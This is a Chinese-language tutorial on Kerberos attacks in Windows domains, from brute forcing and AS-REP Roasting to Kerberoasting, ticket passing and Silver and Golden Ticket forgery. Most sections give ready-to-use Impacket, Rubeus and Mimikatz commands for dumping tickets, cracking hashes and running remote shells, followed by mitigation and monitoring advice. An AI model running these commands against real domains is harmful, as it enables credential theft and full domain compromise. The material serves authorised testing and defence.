深入解析Kerberos协议攻击手法：从基础到高级攻防实战

深入解析Kerberos协议攻击手法：从基础到高级攻防实战

1. Kerberos协议安全概述

Kerberos作为Windows域环境的核心身份验证协议，在企业网络中扮演着至关重要的角色。然而，正是由于其广泛使用和复杂性，Kerberos也成为攻击者重点突破的目标。本文将深入分析Kerberos协议的各种攻击手法，并详细介绍在不同环境下的实际操作步骤。

2. 攻击环境准备

2.1 两种典型攻击场景

域外攻击场景（Linux/Kali）

• 攻击者拥有域外计算机，通过网络连接访问域控制器
• 需要确保时间同步：ntpdate <DC_IP>
• 主要工具：Impacket工具集（Python环境）

域内攻击场景（Windows）

• 已控制域内Windows主机，拥有普通域账户权限
• 无需本地或域管理员权限即可执行部分攻击
• 主要工具：Mimikatz、Rubeus、PsExec

2.2 必备工具集

# Linux/Kali环境
git clone https://github.com/SecureAuthCorp/impacket.git
pip install impacket# Windows环境
# 下载Mimikatz、Rubeus、PsExec

3. Kerberos攻击技术详解

3.1 Kerberos暴力破解攻击

攻击优势：

• 无需域账户，仅需KDC连接
• Kerberos预认证错误记录在特定日志（4771），不易被发现
• 可识别有效用户名，发现无需预认证账户

Linux环境操作：

python kerbrute.py -domain <域名> -users <用户列表> -passwords <密码字典> -output <输出文件>

Windows环境操作：

Rubeus.exe brute /users:<用户列表> /passwords:<密码字典> /domain:<域名> /outfile:<结果文件>

防御建议：

• 实施账户锁定策略
• 监控4771事件日志
• 禁用或监控无需预认证的账户

3.2 AS-REP Roasting攻击

攻击原理：
针对未启用Kerberos预认证的用户，攻击者可以直接请求AS_REP消息，其中包含使用用户密码加密的数据，可离线破解。

Linux环境操作：

# 获取无需预认证用户
GetNPUsers.py <域名>/<有效用户>:<密码> -usersfile <用户列表> -outputfile <AS_REP文件># 离线破解
hashcat -m 18200 <AS_REP文件> <密码字典> --force

Windows环境操作：

# 使用Rubeus进行ASREPRoast
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt# 或者使用PowerShell模块
Get-ASREPHash -UserName <目标用户> -Domain <域名> | Out-File -FilePath hashes.txt

缓解措施：

• 为所有用户启用Kerberos预认证
• 定期审计用户账户设置
• 监控AS_REQ请求频率

3.3 Kerberoasting攻击

攻击原理：
任何域用户都可以请求服务票据（TGS），其中部分使用服务账户密码哈希加密，可离线破解。

Linux环境操作：

# 查询并获取服务票据
GetUserSPNs.py -request <域名>/<有效用户>:<密码> -outputfile <TGS文件># 破解服务账户密码
john --format=krb5tgs <TGS文件>

Windows环境操作：

# 使用Rubeus请求服务票据
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt# 或者使用PowerShell
Invoke-Kerberoast -OutputFormat HashCat | Select-Object Hash | Out-File -FilePath hashes.txt

防御策略：

• 为服务账户设置强密码（25+字符）
• 定期轮换服务账户密码
• 使用组管理服务账户（gMSA）

3.4 传递密钥（Pass-the-Key）攻击

适用场景：
在禁用NTLM、仅使用Kerberos认证的环境中，使用用户哈希直接请求TGT。

Linux环境操作：

# 使用NTLM哈希获取TGT
python getTGT.py -hashes <LM哈希>:<NT哈希> <域名>/<用户名># 使用TGT访问服务
export KRB5CCNAME=<TGT票据文件>
python psexec.py -k -no-pass <域名>/<目标机器>$

Windows环境操作：

# 使用Rubeus请求TGT
Rubeus.exe asktgt /user:<用户名> /domain:<域名> /rc4:<NTLM哈希> /ptt# 使用PsExec执行命令
PsExec.exe \\<目标机器> cmd.exe

3.5 传递票证（Pass-the-Ticket）攻击

票证存储位置分析：

Linux系统：

• 文件存储：/tmp/krb5cc_%{uid}
• 内核密钥环
• 进程内存

检查方法：

cat /etc/krb5.conf | grep default_ccache_name
ls -la /tmp/krb5cc_*

Windows系统：
票证存储在LSASS进程中，使用工具提取：

# 使用Mimikatz提取票证
mimikatz # sekurlsa::tickets /export# 使用Rubeus提取票证
Rubeus.exe dump /nowrap

票证重用攻击：

# Linux环境
export KRB5CCNAME=<窃取的票据文件>
python psexec.py -k -no-pass <域名>/<目标机器># Windows环境
mimikatz # kerberos::ptt <票据文件>

3.6 银票（Silver Ticket）攻击

攻击原理：
使用服务账户的NTLM哈希伪造特定服务的TGS票证。

Linux环境操作：

# 伪造TGS票证
ticketer.py -nthash <服务账户哈希> -domain-sid <域SID> -domain <域名> -spn <服务SPN> <用户名># 使用伪造票证
export KRB5CCNAME=<伪造票据文件>
python psexec.py -k -no-pass <域名>/<目标机器>

Windows环境操作：

# 使用Mimikatz伪造银票
mimikatz # kerberos::golden /domain:<域名> /sid:<域SID> /target:<目标服务器> /service:<服务名> /rc4:<服务账户哈希> /user:<任意用户名> /ptt# 访问服务
dir \\<目标服务器>\C$

3.7 金票（Golden Ticket）攻击

攻击原理：
使用krbtgt账户的NTLM哈希伪造TGT票证，获得域完全控制权。

Linux环境操作：

# 伪造金票
ticketer.py -nthash <krbtgt哈希> -domain-sid <域SID> -domain <域名> <任意用户名># 使用金票访问域控
export KRB5CCNAME=<金票文件>
python psexec.py -k -no-pass <域名>/<域控制器>

Windows环境操作：

# 使用Mimikatz伪造金票
mimikatz # kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<krbtgt哈希> /user:<任意用户名> /ptt# 访问域控
PsExec.exe \\<域控制器> cmd.exe

4. 高级攻击技巧与绕过

4.1 时间戳绕过技术

# 确保与DC时间同步
ntpdate <DC_IP>

4.2 加密类型选择

• 优先使用AES256密钥
• 兼容RC4加密（较易破解）
• 根据环境选择适当的加密类型

4.3 票证生命周期管理

• 默认票证有效期：10小时
• 续订期限：7天
• 利用renew参数延长票证有效期

5. 综合防御策略

5.1 基础防护措施

# 启用强密码策略
net accounts /minpwlen:14 /minpwage:1 /maxpwage:90# 禁用弱加密类型
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -Name "SupportedEncryptionTypes" -Value 0x7ffffff8

5.2 高级监控与检测

# 启用PAC验证
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Name "ValidateKdcPacSignature" -Value 1# 监控异常Kerberos活动
# 事件ID 4768: TGT请求
# 事件ID 4769: TGS请求  
# 事件ID 4771: 预认证失败

5.3 架构级防护

• 定期轮换krbtgt账户密码（每6个月）
• 使用LAPS管理本地管理员密码
• 实施Just Enough Administration (JEA)
• 部署Credential Guard（Windows 10/2016+）

5.4 应急响应检查清单

# 检查异常票证活动
klist sessions
klist tickets# 检查Kerberos策略
Get-ADDefaultDomainPasswordPolicy
Get-ADAccountAuthorizationGroup -Identity <用户>

6. 总结与展望

Kerberos协议的安全性直接影响整个域环境的安全状态。通过深入理解各种攻击技术原理，安全团队可以更好地构建防御体系。未来的Kerberos安全研究将更加注重：

• 基于行为的异常检测
• 机器学习在Kerberos监控中的应用
• 云环境下的Kerberos安全扩展
• 零信任架构与Kerberos的集成

防御者应当建立分层的安全防护，从基础加固到高级威胁检测，形成完整的防护链条，有效应对日益复杂的Kerberos攻击手法。

重要声明： 本文所述技术仅供安全研究和授权测试使用，未经授权对他人系统进行测试属于违法行为。